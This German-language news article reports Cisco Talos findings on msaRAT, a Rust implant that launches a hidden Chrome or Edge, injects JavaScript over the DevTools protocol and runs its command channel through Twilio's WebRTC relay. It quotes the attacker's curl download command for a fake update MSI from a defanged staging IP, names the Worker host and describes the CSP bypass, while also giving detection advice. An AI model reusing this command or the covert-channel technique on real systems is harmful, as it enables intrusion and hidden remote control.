Nach den Angaben von Cisco Talos kommuniziert msaRAT selbst nur mit 127.0.0.1. Das Implantat startet stattdessen Chrome oder Edge ohne sichtbares Fenster mit den Parametern –headless=new, –remote-debugging-port und einem separaten –user-data-dir. Zunächst sucht die Malware über Umgebungsvariablen nach Chrome oder Edge, bei Chrome greift sie ersatzweise auf die Registry zurück. Wird kein passender Browser gefunden, entfällt der CDP-Pfad.

Findet msaRAT einen Browser, fragt die Malware /json/list/ nach einem debuggbaren Ziel ab und verbindet sich mit der zurückgelieferten WebSocket-URL. Anschließend erzeugt sie einen Tab, deaktiviert die Content Security Policy mit Page.setBypassCSP, registriert über Runtime.addBinding fünf Rückrufe und injiziert per Runtime.evaluate JavaScript, das im Klartext im Abschnitt .rdata der Binärdatei liegt. Vier dieser Rückrufnamen — msaOpen, msaClose, msaError und msaMessage — gaben Talos zufolge der Malware ihren Namen; der fünfte heißt dataAck.

Das injizierte JavaScript bezieht STUN- und TURN-Konfiguration von einem Cloudflare Worker unter is-01-ast[.]ols-img-12[.]workers[.]dev. Origin- und Referer-Header werden dabei als Verkehr von einer Microsoft-Seite getarnt. Danach erstellt das Skript eine Peer-Verbindung und sendet ein SDP-Angebot an denselben Endpunkt. Die Antwort enthält keine ICE-Kandidaten und setzt die Verbindungsadresse auf 0.0.0.0, sodass keine direkte Peer-to-Peer-Verbindung entsteht. Der gesamte Kanal läuft damit über Twilios Relay-Dienst unter global.turn.twilio.com; sobald der Datenkanal steht, ist der Worker nicht mehr im Pfad.

Talos zufolge ist dieser Kanal doppelt verschlüsselt: außen durch DTLS des Browsers, innen durch ein auf ChaCha-Poly1305 basierendes Verfahren, dessen Schlüssel über einen ECDH-Austausch ausgehandelt werden. Dieser beginnt unmittelbar nach dem Verbindungsaufbau mit einem 0xFE-Handshake-Frame vom C2. Eingehende Befehlsrahmen übergibt das Implantat zur Ausführung an cmd.exe /e:ON /v:OFF /d /c <cmd>. Aus Sende-Warteschlange und Flusskontrolle schließt Talos, dass die Malware wohl größere Nutzlasten wie Bildschirmaufnahmen oder Dateien zuverlässig übertragen soll.

Zur Auslieferung beschreibt Talos einen einzelnen curl-Befehl: curl.exe http://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi. Der Download läuft über reines HTTP auf Port 443. Laut Talos kann das Regeln passieren, die nur Portnummern und nicht das Protokoll prüfen. Das MSI tarnt seine Metadaten als Windows-Update und startet am Ende der Installation eine benutzerdefinierte Aktion, die eine eingebettete DLL direkt in den Speicher lädt. Diese DLL ist msaRAT, in Rust auf Basis der Tokio-Async-Laufzeit geschrieben und mit einer exportierten Funktion namens RUN versehen.

Talos betont, dass msaRAT nach einer bereits erfolgten Kompromittierung eingesetzt wird und keine Schwachstelle in Chrome oder Edge benötigt. Seit Chrome 136 akzeptiert Google den Debugging-Schalter nicht mehr gegen das Standardprofil, eine in March 2025 angekündigte Änderung nach Missbrauch durch Infostealer zum Cookie-Diebstahl. Da msaRAT jedoch ein eigenes Profilverzeichnis mitbringt, greift diese Änderung hier nicht. Hinweise darauf, dass die Malware das Profil des Opfers anfasst, fand Talos nicht.

Als beständigstes Erkennungsmerkmal nennt Talos das Prozessverhalten. Wörtlich entstehe „sämtliche externe Kommunikation scheinbar aus einem legitimen Browser-Prozess“. Gesucht werden sollte daher nach Chrome oder Edge, die von einem Installer, einem Dienst oder einem anderen nicht interaktiven Elternprozess mit –headless=new und –remote-debugging-port gestartet werden. Talos empfiehlt außerdem, dies mit Loopback-Verkehr zum Debugging-Port und ausgehendem WebRTC-Verkehr zu korrelieren; wo Telemetrie CDP-Nachrichten erfasst, seien Runtime.addBinding und Runtime.evaluate zentrale Anhaltspunkte.

Öffentliche Dateihashes für msaRAT hat Talos mit Stand vom 23. Juli 2026 nicht veröffentlicht. Im IOC-Repository finden sich nur zwei Netzwerkartefakte: die Staging-IP und der Worker-Hostname. Talos ordnet den Bericht ausdrücklich als beobachtete Vorgehensweise ein, nicht als vermessene Kampagne. Weder das Opfer noch die Zahl betroffener Organisationen, der Zeitpunkt des erstmaligen Einsatzes oder die Herkunft der Zugangsdaten für den Cloudflare Worker und Twilios TURN-Dienst werden genannt.